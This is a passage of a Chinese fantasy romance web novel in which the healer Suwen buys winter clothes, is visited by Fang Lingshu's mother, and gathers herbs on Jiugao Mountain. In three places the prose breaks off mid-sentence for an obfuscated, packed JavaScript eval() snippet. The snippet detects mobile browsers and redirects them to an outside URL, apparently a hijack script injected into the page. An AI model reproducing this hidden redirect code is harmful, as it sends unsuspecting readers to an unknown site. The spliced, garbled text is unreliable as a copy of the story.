明月奴白了她一眼,从屋中走出,来到素问跟前,道:“阿姐,依我看,凡人——尤其是兰兰这样不大懂事的,所求不外乎吃饱、穿暖,这两者都满足了,或许就多了些想法,比如像这只兔子精,每日给自己变一身不一样的衣物,兰兰也会有爱美之心,所以如果想要哄好兰兰,不如美食彩衣一起上,过不了几天,只要我们谁也不再提,她哪里还会记得自己的母亲?” 爰爰道:“你有偏见!礼物是礼物,我们怎么会忘记根源?” 明月奴理所当然:“乐不思蜀啊。” 爰爰不懂典故,瞬间噎住。 素问只得道:“兰兰不会忘记母亲,但是朝馨不会来是既定的事实,我们可以在此基础上让兰兰过得快乐一些。” 爰爰连连点头:“阿姐说得对!” 素问点了点爰爰的额头,示意她不能得寸进尺,然后道:“明日一早,你留下照顾兰兰,明月奴去买吃的,我去给兰兰买衣服。” 爰爰撅起嘴,素问本以为她也要出去,没想到爰爰纠结了片刻,还是选择留下,虽然并不大情愿:“好罢……” 素问笑道:“那你呢?有喜欢的颜色款式么?我给你挑,还是改日再一起去?” 爰爰笑逐言开:“都可以!” 明月奴没好气道:“贪心!” 爰爰笑嘻嘻地挽住素问的胳膊,得意道:“你管不着!” 素问看向明月奴:“那你……” 明月奴站直身子,沉声道:“我不要,阿姐给她们俩买便是。” 素问“嗯”了一声,不会真的将明月奴忘到一边,但也没再追问。 兰兰的晚饭依旧是从元度卿家“化缘”而来,想来是考虑到兰兰的心情,元度卿今日晚餐甚是丰富,叫爰爰看得胃口大开,但兰兰却没有多大兴致,喝了几口粥后,就躺在床上发呆。 爰爰抱着自己的铺盖与兰兰挤到一处,夜深了,才将人哄睡过去。 素问在院中坐了半宿,听到兰兰屋里传来均匀绵长的呼吸声,才起身往前屋去,将家中草药盘了一遍,列出缺项,等到次日清晨,她和明月奴一大早便出发,尔后一人渡河朝北,一人往南市而去。 北市不如南市繁华,胜在药草齐全,素问依旧去同一家定药,不想药商看了看单子,叹道:“叶医师海涵,有几味药如今进不到货了。” 素问正在取银钱,闻言一愣,问:“哪几味?” “菣草、刺五加、桔梗。”药商并指沿着药单往下捋,末了,又补充道,“还有防风。” 素问不解:“这都是很常见的药,而且防风耐旱,怎么会也没有?” “雍王下令征集的药材中包含这几味,恐怕要持续一段时间呢,这些药草都进不了洛阳,在城门口就被拉走了。” “若是城里医馆需要呢?” 药商无奈道:“只能自己找地方去采,或是拿到户部司金部签发的公文,否则谁都没办法。” 素问沉吟片刻,道:“那就劳烦将其余的药材送去惠训坊安平医庐。” “诶,好嘞!”药商答应着,一边吩咐底下人去分药,一边手上噼里啪啦一顿拨算盘,迅速算好了账。 素问留下定金后,便离开药店去找制衣店。北市布店不少,但制作成衣的却鲜少见到,素问找了好半晌,才看到一家很小的店面,店名写在一块长长的木头上,简单地靠在门柱旁,但上面与门庭一样,装饰了青藤红花,立刻显得别具一格来。 “云想衣裳。”素问默念店名,抬头见里面有几个人正在逛,正要进去,互听旁边有人喊“叶医师”。她回头看去,只见街边停着的马车拂起了窗帘,露出一张熟悉的面容,素问有些惊讶,“卢小娘子?” 卢飘絮令车夫驱车上前,停在素问旁边,她没有下马车,只从窗内扫了一眼素问的衣装,问道:“叶医师要置寒衣?” 素问点头。 卢飘絮道:“这家裁缝手艺不错,价格也公道,就是样式有些少。” 素问道:“没关系,我们没有寒衣,不会有重复的花样。” 卢飘絮一愣,自觉有些伤人,于是转开话题,问:“水玉近日如何?怎么都不去我那里了?” “有些日子没见了。” “原来如此,那她可能还在城外施粥。”卢飘絮想了想,又问,“方医师怎么样?最近好么?” 素问道:“应当也在城外行医。” 说罢,两人都不由失笑,但再要继续说下去也有些难,卢飘絮便告辞离去,素问则转身进了成衣店。 店里有两个年纪稍大的妇人在布匹堆旁,店里另有三个年轻女子围在桌子边看图样,素问进去后,一个年轻女子直起身看过来,笑问:“小娘子买布还是定衣服?” 想来此人是店主。素问道:“我想看看成衣。” 店主向另外两人道声“失陪”,笑盈盈地冲素问一招手,道:“小娘子来这边。” 素问随她往前,路过布匹堆时,一个妇人抬头看她,脸上带着笑意,面容很是和善。素问不认识此人,只牵了牵嘴角,便略过了她,来到挂着的成衣前面。 店主正要介绍,素问道:“有小一些的衣服么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255526|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “小一些的?”店主走到一边,从一堆衣服后面翻出两件,问,“这个尺码怎么样?” 素问瞥了一眼,感觉爰爰可勉强一穿,兰兰是完全不行的,便比划着兰兰的身高,道:“是个孩童。” 店主摇头:“不说我这里,就是整个北市恐怕都没有这个尺寸的成衣。孩子长得快,衣服换得也快,一般都是家里帮着做了,买成衣不划算,小娘子要不要去看看合适的布?” 素问如实道:“我不会女红。” “这……”店主沉吟片刻,提议道,“如果小娘子等得及,可以在本店定制,若只要现成的染花布来做,寒衣大约需要四到七日,若要绣花或是现染,时间又要多一些。” 素问道:“那就用现成的花布。” “好,小娘子来这边选花色,我去找找孩童的样式。”店主说着,带着素问来到布匹堆旁,自己则去柜台后面翻找图样。 这家成衣店里布匹挤得满满当当,好在分门别类,摆放得井然有序。那两个妇人正在看的布,多是钴色、鸦青这一类棉布,素问的面前这一堆则以缃色、踯躅、藕荷为主,素问正在挑选,忽然感觉身边有人靠近,她转头一看,正是方才那个对她笑的妇人。 妇人见素问看自己,又露出笑意,问:“小娘子是给家中孩子置办寒衣么?” 素问点头。 妇人又问:“是女娃娃?” 素问想了想,觉得也没什么不可说的地方,便道:“一个男孩,两个女孩。” 妇人惊道:“看你年纪不大,都已经有三个孩子啦?” 素问一噎,一脸古怪地看着妇人,解释道:“是弟弟妹妹。” 妇人松了口气,连声道:“原来如此,原来如此!” 素问垂下头,挑中三匹布,又将目光投向男子适用的颜色上。 妇人问:“眼见着天越来越凉,小娘子穿这么少可不行,不如给自己去选两件成衣?” 素问一脸莫名地看了妇人一眼,摇头道:“我不用。”说罢,她不再管妇人,自去挑选给明月奴的布。 妇人在她身后,又是爱怜又是感叹地直摇头。 素问选中了一匹深竹月,连着前面三匹,一起搬到了柜台上。店主也找好了样式,在素问挑选的间隙,店主又去招待了店里其他几个人,等素问这里定好了样式、尺寸,店里只剩下她了。素问看着店主算价钱,忽然脑中灵光一闪,脱口问道:“方才店里两位妇人,你可认得?” 店主笑道:“自然认得呀,她们都住在北市附近,老主顾了。” 素问一阵沉默,然后缓缓道:“与我说话的那个人……我觉得有些眼熟,但又确实不曾见过,你可知她的姓氏?” “哦,那是方家主母,你是不是去过半钱医馆?方医师眉眼与她是有几分相似的。” 素问:“……” 那个满脸慈爱看着自己的人……是方灵枢的母亲? 见到方灵枢母亲这件事实在是超乎意料之外,素问甚至有些恍惚,竟忘了与明月奴会合一事,人到了惠训坊门前才想起来,连忙转身要去南市,不想刚走了几步,便见路尽头有一个熟悉的人影骑着马朝自己而来。 马儿很快到了近前,带来一路风尘。方灵枢额边掉下几缕碎发,嘴唇起了皮,脸上灰扑扑的,身上衣物也变了颜色,若不是天气转凉,恐怕还要带来什么可怕的气味。 “好狼狈。”素问仰面看他,笑道,“你难道刚从城外回来么?” “对。”方灵枢跳下马,脸颊微微发红,眼睛却亮晶晶地看过来,温声道,“城外疫病形势好了许多,我不必常驻了,今日回家,顺路来看看你。” 素问看向方灵枢的来路,心知方灵枢是在胡说八道——这条路无论如何是顺不了的,他是特地绕了一大段路而来。想到此处,素问不禁低头忍笑,顿了片刻,才道:“那你呢?一切都好么?” 方灵枢点头:“都好。” 素问看他眼下乌青,道:“既然已经看过我了,是不是要回去休息了?” “唔……”方灵枢想了想,道,“好像是,那我改日再来。” “等等。”素问执起方灵枢的手腕,简单号了号脉,确认他一切正常,才松了手,道,“路上小心,先顾好自己的身体,我一直都在这里,晚些时日来也没关系。” 方灵枢一笑,重新上马,牵引缰绳,沿来路而去。 素问则按照原来的打算往南市去,好似一切如旧,但在不经意间,脚步却变得轻快起来。 32. 无折树檀(二) 遇见方灵枢母亲一事,很快便被抛诸脑后,毕竟她来人间的任务并不包括与方家其他人打交道,加之来人间这么长时间,她一直与“同辈”来往,贸然面对“长辈”,她还真不知该如何应对,因此不相见是最好的。 可惜天不遂人愿,三天后,方灵枢还没来,方母先站到了安平医庐的门前。 “我是灵枢的母亲,前几日刚与叶医师见过,她一定认得我。”方母如是说。 元度卿摸着下巴,看向明月奴。 明月奴嘴角抽了几抽,神情几番变换,硬是没挤出该有的表情。 “灵枢……是方医师罢?”爰爰翻眼看着天,估摸片刻,猛然领会到什么,立刻丢下人跑去后院,喊道,“阿姐!阿姐!方医师的母亲来啦!” 素问正凝神,闻言手一抖,墨汁滴落,染在“发陈”二字中间,她有些茫然地抬起头,看向出现在窗外的爰爰:“谁?” 爰爰双手拢在嘴边,声嘶力竭地悄声回答:“方医师的母亲!” 素问:“……” 片刻之后,素问将人请进了医庐。前屋里瞬间热闹起来,明月奴端水,爰爰接过元度卿的糕点放到案几上,兰兰咬着手指,眨巴着眼睛站在榻边,等实在无事可做的时候,大家站成一堆,看向对面坐着的方母。 方母不曾见过这样迎客的架势,有些坐立不安地挪了挪,抓紧了手中的包裹,起身道:“我……我今日不请自来,是不是太过唐突……” “啊?啊!没有!”素问拍拍额头,上前去,示意方母坐,尔后回头一看,发现这老少四人观摩之下,确实有点压迫感,便将元度卿并明月奴等人一起赶了出去。她自己留在门口,酝酿了片刻,才回过身,来到方母对面坐下,因不知如何开场,素问想了想,先将水杯和糕点推到方母面前,这才开口道,“恕在下失礼,不知娘子今日来,所为何事?” 方母慈爱地看着素问,将包裹放到了案几上,打了开来,露出一截合欢红的布料,她抬头,一脸希冀地看着素问,道:“这是前些时日自己染的布,颜色还算正,是时下小娘子最喜欢的色,只是这两次见,叶医师似乎不怎么穿红,也不知喜不喜欢。” 素问一愣:“送给我?” 方母道:“若是看得上,我给叶医师做一套冬衣。” 素问瞪大眼,连忙摆手:“不用劳烦!不用劳烦!” “不劳烦!”方母笑着将布取出,拎着两边抖开,竟然是已经做好的成衣! 素问起身一看,便知衣服十分合身,不禁奇道:“娘子如何知晓我的尺寸?” “前几日见过的呀,我从背后一看,估摸着就明白了。” 素问恍然,紧接着发现一个新的问题:“娘子只用三日便做好了冬衣?!” 方母笑道:“这是如今年纪大了,要换做二十年前,一天一夜就能做好。” 素问接过衣服,扫过接缝处细密精巧的针脚,再看向方母眼中的血丝,拒绝的话无论如何也说不出口了,她郑重道:“多谢娘子。” “你喜欢就行。”方母喜笑颜开,利索地将包裹叠好,道,“我不多打扰,这就走了。” “娘子!”素问忙拦住她,道,“冒昧问一句,为何要送我冬衣?” 方母笑道:“你对我儿恩情,岂是这一件冬衣足以为报?说来也是失礼,我该早早前来拜谢,只是小女年初新嫁,夫家甚远,灵枢出事的时候,我正在探亲。他自己又瞒得紧,书信里面是一概不提,我是前几日回来后,才从街坊邻居那里听说了整个来龙去脉,正想着如何来见你,就恰好在店里遇到了。” 素问了然,道:“娘子太客气了,其实方医师早就已经送过谢礼。” “我这也不是谢礼,算是见面礼。”方母道。 素问不明白方母用意,不过人间有“来而不往非礼也”的说法,她便道:“多谢娘子,那我改日再登门拜访。” “好呀!”方母欣然应道,“随时来,带上弟弟妹妹们一起!你素日要管理医庐,又要照顾他们,想来很是辛苦,但再苦也不能苦了自己,尤其是吃穿上,眼看着天凉了,别冻出了风寒。” 素问隐隐感觉方母似乎是误会了什么。 许是察觉到素问的茫然,方母决定点明:“做冬衣的时候,家里个个都想到了,怎么能不为自己做一件呢?” 素问恍然,原来方母以为自己是舍不得才没有定制冬衣,忙解释道:“我身体好,不会着凉生病。” “唉,年轻人呀……”方母不认同地摇头。 素问噎了一噎,只得道:“娘子说的是,我以后绝不亏待自己。” “合该如此。”方母将素问的手握在自己的手心里拍了拍,又十分爱怜地看了她片刻,才柔声道,“我不打扰了,记得去我们家用饭,我回头让灵枢来接。” “哦好、好的。”素问胡乱应下,直到将人送走了,才意识到自己答应了什么。 明月奴虽然耳目聪慧,但是这段时日跟着元度卿学了不少道理,没有素问的首肯,他不再擅自偷听屋里的谈话,因此今日等方母走后,他看到素问纠结的神情,不禁一慌,连忙上前问缘由。 素问想了想,也说不出缘由,便将方母赠衣一事说了,顺便道出她的邀请:“她想请我们一道去做客。” “吃好吃的?”爰爰问。 明月奴恶声恶气道:“就知道吃!这么喜欢,干脆住他家得了!” 爰爰“哼”了一声,道:“我才不要,要住我也是住重琲哥哥家——唉,说起来,好些时日没见过衙内了,他怎么不来了呀?” 明月奴翻了个白眼:“你想去便去,又没人拦着,难道你不知道李重琲家住何处么?” 爰爰语塞,只得转移话题,问道:“阿姐,方医师的母亲为何要请我们去做客?” 明月奴道:“方才不是说了,为了报恩呐!方医师一条性命,难道只靠这件用不上的冬衣就能抵了?” 爰爰小声嘀咕:“再加一顿饭也不见得够哇……” 素问也不解,正思索间,忽听门口传来一声嗤笑。 明月奴不用回头也知道是谁,他不愿如了对方的愿,打定主意不开口,无奈身边有个碎嘴的兔子,爰爰听到元度卿发出的动静,果然问:“元大叔为何发笑?” “笑你们几个不谙世事啊。”元度卿踱进屋,慢悠悠地答道。 素问道:“此话怎讲?” 明月奴忙道:“阿姐别听,臭老头一肚子坏水,肯定没有好话!” “非也,非也!”元度卿摇了摇手指,甚是语重心长,“这可真是善意的提醒,否则你们几个都弄不明白别人的目的,赴宴与否都不妥。” 素问觉得有些道理,便道:“元先生还请明示。” 元度卿不再打哑谜,直接道:“方母这一系列的举动,报恩只是表象,深层次的因由么……自然就是看中了你——替方医师看中了你!” 爰爰呆住:“何意……” “何意?”元度卿一捻长须,悠然道,“自然是方母想让素问做自己的儿媳了!” 素问眉头一跳,还未来得及说话,便听明月奴道:“不可能!我阿姐怎会与他人成婚?” 元度卿笑道:“男欢女爱,男婚女嫁,这是人之常情嘛!不只是素问,你、还有两个小囡,将来都会成婚的……” 爰爰这次选择与明月奴站在一边,立刻道:“我可不会,我阿姐也不会,元大叔莫要会错了意,即便方母当真如此打算,那也注定要落空!” 元度卿奇道:“为何?你们一家有什么特殊癖好?” “不劳费心!”明月奴不耐烦地将元度卿轰出了门,回过身时,发现兰兰一脸恍然,不禁皱眉,含糊道,“你不一样,你想成婚就成婚。” “她还小,不必说这些。”素问站起身,向后院走去,一边道,“元先生只是个凡人,也不必与他较真。” 明月奴看着素问的背影,陷入沉思。 爰爰托腮想了想,缓缓点头:“阿姐说得对,其实我们坚持己见就行了,管别人怎么说怎么看呢?” “当然要管,这是在人间,你这个摇摆不定的笨脑筋!”明月奴气恼爰爰如此快便倒戈,狠狠瞪了她一眼。 爰爰立即不满,反驳道:“你就很聪明么?还不是将‘乐不思蜀’用错了?幸好我不跟你计较,要是在别人面前这样,可要笑掉人家大牙了!” 明月奴正要追着素问往后院去,闻言不禁停下脚步,问:“我怎么用错了?” 爰爰叉腰昂头,雄赳赳气昂昂:“哼!你就是欺负我不懂!但是对不住,隔壁现在来了元大叔,我可是将‘乐不思蜀’的来历都打听明白了!” 明月奴气笑了,抱臂冲爰爰一扬下巴:“你倒是说说,说错了,我一口吞了你!” “粗鲁!”爰爰撇嘴,摇头晃脑地解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269608|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释,“这是说三国时期,蜀国国君刘备被吴国使美人计,乐得找不着家了,所以叫‘乐、不、思、蜀’!但是刘备是什么?他是男人!我是什么?你仔细想想,是不是用错了?” 明月奴倒吸一口气,想要攻击的点太多,竟然一时不知从哪里开始说起,甚至觉得比起骂爰爰,在这里与她废话的自己更加可恨,当即甩袖而去。 那厢,素问刚拿起笔,听到明月奴进门的动静,头也不回地问道:“你与爰爰平日也总是吵架么?” “阿姐不在家还好,一在家,她就尾巴翘上天了。”明月奴说着,来到素问身边,一边看药方,一边问,“阿姐觉得烦么?” 素问:“不烦,就怕吵多了伤感情。” “本来就没感情,有什么好伤的。”明月奴说罢,俯身去看素问的神情,一时没瞧出异样,想了想,道,“不过阿姐担心的话,那我以后让着她一点。” 素问停笔,抬头看他,温声道:“那不是委屈你么?” 明月奴一笑:“都说了没感情,让与不让,我也不在乎。” 素问沉默,一时不知应当赞同还是反对。 明月奴在旁边站了片刻,还是问道:“阿姐,方才元度卿的话……你怎么看?” 素问淡淡道:“你方才不是已经回答了么?” 明月奴:“若是初来洛阳城,我一点儿也不会怀疑,但是现在不同了,我不敢确定阿姐与我想法一致。” 素问落笔,写完最后几味药,才道:“方灵枢的姻缘早已注定,我不会横插一脚。” “可是他的姻缘还是石水玉么?”明月奴面露忧色,劝道,“阿姐,你问过星君么?” “我问过。”素问说着,想到司命星君的回答,后面的话不知如何接下去了。 命本未曾偏离,命定之人是神尊自己选中的,司命星君的回答一直很果断,素问没有得到明确的答案,因为问问题的人未曾问出明确的问题——不知何时起,素问竟不敢去问司命星君:究竟方灵枢的命定女子是否仍旧为石水玉? 过了好一会儿,素问才道:“下一次面见星君,我会再问。” “阿姐自己把握就好。”明月奴感觉到自己给素问的逼迫,主动退了一步,佯作轻松道,“阿姐在写‘发陈’方,往后还有‘蕃秀’、‘容平’和‘闭藏’,对不对?” 素问有些惊讶:“你读过《内经》?” “一直想读,只是没有机会,碰巧元度卿那里有,这几日就翻了翻。”明月奴说着,又问,“这是给方医师准备的么?” 素问点头。 “那刚好。”明月奴道。 素问:“嗯?” 明月奴好整以暇道:“方医师来了。” 话音刚落,爰爰跑到后院喊道:“阿姐!方医师拜访!” 素问有些惊讶,起身来到门外,正见方灵枢在树下栓马,见到素问,他急道:“我母亲来了么?” “刚刚来过,又走了。” 方灵枢一顿,试探道:“她来是为……” “说是谢我救你,带了一件冬衣来。” 方灵枢怔了一瞬,悄悄松了口气。 安平医庐众人默契地没有提方母请客吃饭的事。 素问道:“你来就是为了这个?” 方灵枢一时语塞。 素问见状,便道:“不管如何,来得正是时候,快请进。”说罢,她领着方灵枢进屋坐下,然后将袖中药方展开,平铺在方灵枢跟前,道,“这是为你准备的第一道方子。” 药方“发陈”,共记有四十九味药,方灵枢细细看去,发现竟然有不少是自己不知道的,他手指划过一排,奇道:“甘华、尧芘、青葵、玄瑰……这些都是什么药草?是什么作用?我怎么不曾听过?” “仙山里的神草。”素问半开玩笑,指着后面几味药,道,“我缺这几样,如今城里也买不到,你知道哪里可以采么?” 方灵枢道:“伊水边往年有,今年说不准,我那里也缺,正打算明日出城去看看,若是有,给你带一些。” “那倒不必,你的病人也要用,我与你一起去便是。” “但是这一去可能要几天,你……”方灵枢一阵迟疑,一抬头,发现素问扬眉看着自己,一副“看你怎么说”的模样,方灵枢忍不住笑起来,弃甲投降,“那我们明日一道出发,英雄意下如何?” “甚好。” 33. 无折树檀(三) 次日清晨,素问带着爰爰,与方灵枢一道出发前去采药。 时值深秋,一点儿热气在清晨都变得腾腾如云,城门外不远处一间施粥的棚子因此变得十分醒目。素问不知为何,蓦然想起卢飘絮的话,便让车夫绕行一段,来到粥棚前,果不其然,执掌着大铁勺舀粥的人中正有石水玉。但在意料之外的是,李重琲竟然也在粥棚里。不过他不在做事,而是靠在藤椅上,身上盖着狐裘,百无聊赖地看着灾民,在素问停留的间隙,连打了四五个哈欠。 “呀!是重琲哥哥!”爰爰伸出头,喜道,“我说怎么数日不来,原来是做善事呢!” 素问道:“你要找他么?” 爰爰自然想找,但同时记得此番出行是自己坚持要来,若这会儿因私心而节外生枝,素问下回可不见得会带上自己了。爰爰摇头道:“偶遇嘛,阿姐要赶路,我们就不必停留,回头我去他家找他。” “好。”素问放下帘子,待要吩咐车夫继续前行,忽然听方灵枢有些迟疑地开口—— “那是……石小娘子和李衙内?” “对呀。”爰爰奇道,“怎么了?” 方灵枢有些怔然,顿了片刻,摇了摇头,道:“没什么。” 他不说,素问也明白,当日她得知所谓“调戏民女”的真相时,尚且甚是不满,又何况是差点送了一条命的方灵枢呢? 马车摇晃着往前,除了轱辘压石子的声音,车内一片沉默。素问数次想要说话,最终还是觉得此事该交给方灵枢自己消化,若是自己开了口,无论是否是他心中所想,恐怕方灵枢都会考虑进去,倒不如不去插手。 何况……事关石水玉,素问自觉牵涉得够深了,不想再去左右两人之间的缘分。 过了许久,方灵枢忽然道:“草木都黄了,恐怕不好找草药。” 素问回神,发现方灵枢正看着外面,似乎方才的插曲已经过去,她便顺着道:“去了才知道,说不定什么都没有,但也有可能会有意外之喜。” “确实。”方灵枢感慨道,“方才看见石小娘子和李衙内竟然能和平共处,甚至带着李衙内一起来行善,这何尝不是这次出城所遇到的惊喜呢?” 素问惊讶地看过去。 方灵枢赧然:“太刻意了么?” 素问点头。 方灵枢失笑,解释道:“方才看你那么紧张,想着如何打消你的疑虑,只是想来想去也不知该如何说,让你见笑了。” 素问笑起来,如实道:“我确实怕你生气。” “他们俩这般相处,可见以后石小娘子在洛阳城就不会有受扰之险,李衙内或许就此改过自新,也未可知。不管怎么样,这都是好事。至于那日到底是何种情由,就不重要了。”方灵枢认真道,“所以我不生气,你放心。” 素问怔然,心中那不知名的小芽趁着正主分神,“噗”地冒出了尖,挠得人心痒痒。 爰爰感觉车里气氛有了变化,她瞪大了眼睛看来看去,最后捂嘴笑起来。 素问立刻回神,问道:“你笑什么?” 爰爰神秘兮兮地附耳道:“阿姐动心了……” 素问闻言,连忙推开爰爰,斥一句“胡说八道”,自己则躲开目光,拂起帘子看向外面。马车奔驰在官道上,凉风迎面而来,让素问迅速定下心神,由此注意到窗外景致,那点儿旖旎心思顿时烟消云散,她不由得皱起了眉:“衰草枯杨……” “恐怕要沿着伊水往下找一段了。”方灵枢亦是叹息。 两人猜测很快便得到了印证,伊水露出了大半河床,岸上鲜少见活植,即便有,也是极有韧性、但却无法用作药的草,他们沿着河岸,往西南方向行了大半天,最终来到了九皋山下。 夏日不显,此时来看才发现九皋山与周遭区别——山中仍有大半绿植,便是枯黄了的草木,也只是挺拔地进入了休憩中,无衰败之象。九皋山外则大不相同,甚至连土地都干得开裂,纵横蜿蜒的裂痕延伸到一处,蓦然而止,往前一步,土地顿时变得丰润起来。 素问站到交界处,回忆浮上脑海——这里就是明月奴止步不前的地方。奇怪的是,素问感觉不到两边稀薄的灵力有任何不同,但是外在的区别又是如此明显,连方灵枢都看出了,大感惊奇。 片刻之后,方灵枢推测道:“难道是因为老君洞?” 爰爰惊道:“你、你知道老君洞?” 方灵枢不知爰爰底细,也有些惊讶:“爰爰也来过九皋山?” “唔……”爰爰抓了抓脑袋,支吾道,“我来过呀,山上有道观嘛……” “我带爰爰来过。”素问帮着混过去,又向爰爰道,“方医师知道我是修行之人,我与他一道去过老君洞深处的。” 爰爰深吸一口气,满脸难以置信:“老君洞能进去?” 方灵枢奇怪地看着爰爰,没有说话。 素问觉得还是到此为止,否则破绽越来越多,便道:“你想去的话,改日我们可以专程去,今日来是为了采药。” 爰爰还在震惊之中,便见素问和方灵枢交换了个眼神,两人迅速达成了共识,背起了药篓,一前一后往九皋山上行去。爰爰“哎呀”一声,只得将诸多疑问抛诸脑后,快步跟了上去。 九皋山草木也已有凋落之象,但是不知是不是因为总数太过庞大,这里总归还是充满活力,不会让人产生伤秋之感。有方灵枢带路,还有爰爰暗中护法,他们很快就采好了两筐药,眼看着太阳渐渐西沉,方灵枢提议早些下山,等改日药快用完了再来。 素问自然没有异议,三人便踩着厚厚的落叶,往下山的方向去。 没过一会儿,前方传来一阵血腥味。 素问:“……” 方灵枢还没闻到,见素问脚步顿住,神情有些古怪,便问道:“怎么了?” 爰爰使劲嗅了两口,揉了揉鼻子,疑惑道:“鸡血?” “是李衙内。”素问率先行去,很快便看到一个丢在道旁的灰布袋,袋子撑得很满,看形状显然是个个头不小的人。 爰爰想到素问方才的话,惊呼一声,连忙上前,飞快地将布袋解开。布袋里先露出了一双黑靴,爰爰将袋口往上推,果然见此人与早间李重琲穿着相同。 等布袋里的人露出全貌,素问刚好闲庭信步地走到了跟前,她不必看,只通过气息便可判定李重琲无恙。 爰爰捧着李重琲的脸,松了口气:“有些青肿,好在不曾破相。” 方灵枢闻言,脚步一绊,差点摔倒。 “方医师小心!”爰爰提醒完,又按向李重琲的人中,无奈对方没有反应,爰爰当即有些慌乱,向素问道,“阿姐,快帮重琲哥哥瞧瞧!” 素问不清楚李重琲这是闹的哪出,本不想搭理,但是爰爰实在着急,她便要弯腰去看,不想还未碰到李重琲,方灵枢先蹲了下去,道:“我来。” 素问顺势收回了手。 方灵枢查看片刻,又诊了脉,道:“左臂脱臼,身上其他地方有些淤伤,但都在体表,并未伤到肺腑,没有大碍——身上的血大概如爰爰所说,确实是鸡血。” 爰爰道:“方医师确定么?那为何重琲哥哥还不醒?脑袋没受伤么?” 方灵枢目光落在李重琲脸上,方才自己为他医治后,李重琲眉头便轻轻皱起,再联想到此子往日行径,其目的不言而喻,方灵枢便微微一笑,道:“不打紧,许是吓晕了。” 李重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284140|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琲眼睫微微一动,差点没忍住就地“醒转”。 爰爰“诶”地一声,歪头去看李重琲。 方灵枢示意爰爰让开,他抓住李重琲的手臂,没等对方反应过来,一抓一推,只听“咯”地一声,便将李重琲的胳膊接好了,也成功让他跳了起来,并爆出一声石破天惊的怒嚎—— “方灵枢你想死!!!” 一阵风过,金黄的树叶飘洒而落,粘在四人的肩头衣摆。 李重琲指着方灵枢,目光落在素问身上,而后又依次看过方灵枢和爰爰,见三人都是面无表情地看着自己,顿时有些下不来台,他收回手,握拳抵唇,轻咳一声,道:“这是哪?我怎么在这?” 爰爰仿佛惊醒一般,立刻道:“想来是贼人将重琲哥哥掳至此处,还好我们路过,否则后果真是不堪设想!” 李重琲:“……” 素问无意去让李重琲难堪,顺势翻篇,问:“你还好么?” 李重琲转了转左肩,发现一点儿也不疼了,只能捏着鼻子向方灵枢道:“好多了,多谢你。” “小事一桩,只是衙内以后还是莫要以身犯险的好。”方灵枢说罢,见李重琲十分不服气的模样,接着道,“今日是我们赶着下山才遇见你,若是我们往山中道观去歇一晚呢?谁能遇得到你?” 爰爰连忙点头:“正是呢,方才你的布袋上打的还是死结,这袋子十分结实,你身上又没有利器,如何挣脱出来?何况山中还有野兽……哎呀!方医师说得太对了,真是惊险!” 李重琲一怔:“死结?” “对呀!”爰爰十分肯定。 素问与方灵枢对视一眼,异口同声道:“你不知道?” “我不知道啊……怎么会是死结?”李重琲喃喃说罢,很快又意识到漏洞,立刻补救道,“我当然不知道!贼人做什么,怎么会与我说?” 素问道:“罢了,现在无事就好,赶紧下山,不然赶不上关城门了。” 方灵枢点头,背好药筐,与素问并肩往下。爰爰在原地踌躇着,正要去扶李重琲,后者却直接略过她,一股脑儿将身上的束缚踹到一边,跑着赶上素问。 爰爰鼓起嘴,只得跟上。 那厢,李重琲一把将方灵枢挤开,向素问道:“你方才怎么不救我?” 素问脚步不变,目视前方,淡淡道:“怎么没救你?爰爰不是将你解救出来了么?” “我不是说这个,我是说你怎么不给我医治?” 素问看了他一眼,奇道:“方医师不是为你医治了么?” “你明白我的意思!”李重琲笃定道,“我与他有过节,他不说治坏了我,但是肯定不如你尽心,不如你再帮我看看!” 素问短促一笑,无奈道:“不必看,听气息就知道你很好,不必医治——另外,方医师不是那样的人,你莫要以己度人。” 方灵枢闻言,不觉扬起嘴角。 李重琲很是气闷,但是一想到自己的目的,眼睛立刻一亮:“你方才说,听气息就能知道我好不好?” 素问点头。 李重琲转向方灵枢:“你行不行?” 素问解释道:“我可以,是因为耳目聪于常人。” “定然也是因为医术格外高超。”李重琲觉得自己明白了,顿时神清气爽,“怪不得你不给我看,原来是因为病太小了!” 素问脚步一停,留在山脚,她环顾四周,发现没有一个人,便问道:“你的侍从呢?” 李重琲道:“我被掳来的呀,哪来的侍从?” 话音刚落,远处官道上出现了一个疾驰的身影,素问眯眼看去,有些奇怪,转而一想,又觉得理所当然:“是水玉来了。” 34. 无折树檀(四) 几人都没想到赶来的会是石水玉,李重琲似乎格外惊讶些,张着的嘴巴都快能塞下一颗鸡蛋了。 